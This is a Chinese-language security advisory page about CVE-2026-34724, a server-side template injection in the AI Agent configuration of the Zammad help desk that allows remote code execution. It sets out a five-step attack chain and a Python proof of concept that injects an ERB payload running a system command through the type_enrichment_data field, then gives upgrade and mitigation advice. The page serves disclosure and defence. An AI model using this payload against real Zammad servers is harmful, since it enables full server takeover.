IPBUF安全漏洞报告
English
CVE-2026-34724 CVSS 7.2 高危

CVE-2026-34724 Zammad AI Agent SSTI致RCE漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-34724
漏洞类型
服务端模板注入 (SSTI)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Zammad

相关标签

SSTIRCEZammadAI AgentCVE-2026-34724

漏洞概述

Zammad是一个基于Web的开源帮助台系统。在7.0.1版本之前,其AI Agent功能存在服务器端模板注入(SSTI)漏洞。攻击者需具备高权限,通过控制或影响`type_enrichment_data`参数注入恶意模板,从而导致远程代码执行(RCE)。该漏洞已在7.0.1版本中修复。

技术细节

该漏洞源于Zammad在处理AI Agent配置时的输入验证缺失。具体而言,当管理员配置AI Agent的`type_enrichment_data`字段时,系统直接将其传递给模板引擎进行渲染,而未进行沙箱隔离或特殊字符转义。由于Zammad基于Ruby on Rails框架,攻击者可注入恶意的ERB(Embedded Ruby)代码。当AI Agent被调用处理相关数据时,服务器端将解析并执行这段代码。鉴于该配置通常需要管理员权限(PR:H),攻击者需先获得高权限账户才能利用此漏洞实施攻击,最终导致服务器被完全控制。

攻击链分析

STEP 1
1. 获取高权限
攻击者需要获取Zammad系统的管理员权限,因为该漏洞需要高权限才能访问配置。
STEP 2
2. 访问AI Agent配置
攻击者登录后台,导航至AI Agent配置页面,准备创建或修改Agent。
STEP 3
3. 注入恶意Payload
攻击者在`type_enrichment_data`字段中插入恶意的Ruby ERB代码(SSTI Payload)。
STEP 4
4. 触发模板渲染
当AI Agent处理工单或执行任务时,系统会加载配置并渲染模板。
STEP 5
5. 执行代码
服务器端模板引擎解析恶意代码并执行系统命令,实现RCE。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-34724 (Zammad SSTI) # This script demonstrates how an admin might exploit the SSTI vulnerability. import requests import json TARGET_URL = "http://target-zammad.com" API_TOKEN = "<VALID_ADMIN_API_TOKEN>" # Requires High Privileges (PR:H) # Headers headers = { "Authorization": f"Token token={API_TOKEN}", "Content-Type": "application/json" } # Malicious payload to execute 'id' command via Ruby ERB SSTI # Zammad uses Ruby on Rails, so ERB syntax applies payload_string = "<%= system('id') %>" # Data payload targeting the vulnerable configuration point payload_data = { "name": "ExploitAgent", "description": "SSTI Test", "type_enrichment_data": payload_string # Vulnerable parameter } try: print("[*] Sending malicious payload to AI Agent configuration...") response = requests.post( f"{TARGET_URL}/api/v1/ai_agents", headers=headers, data=json.dumps(payload_data) ) if response.status_code == 201: print("[+] Payload injected successfully.") print("[!] Triggering the AI Agent to execute the code...") # Note: Actual execution requires the AI Agent to process a ticket/task. else: print(f"[-] Request failed: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Zammad < 7.0.1

防御指南

临时缓解措施
目前官方已发布修复版本,建议立即升级至Zammad 7.0.1或更高版本。若暂时无法升级,应严格限制对AI Agent配置功能的访问权限,仅允许可信的管理员操作,并检查系统日志中是否存在异常的命令执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表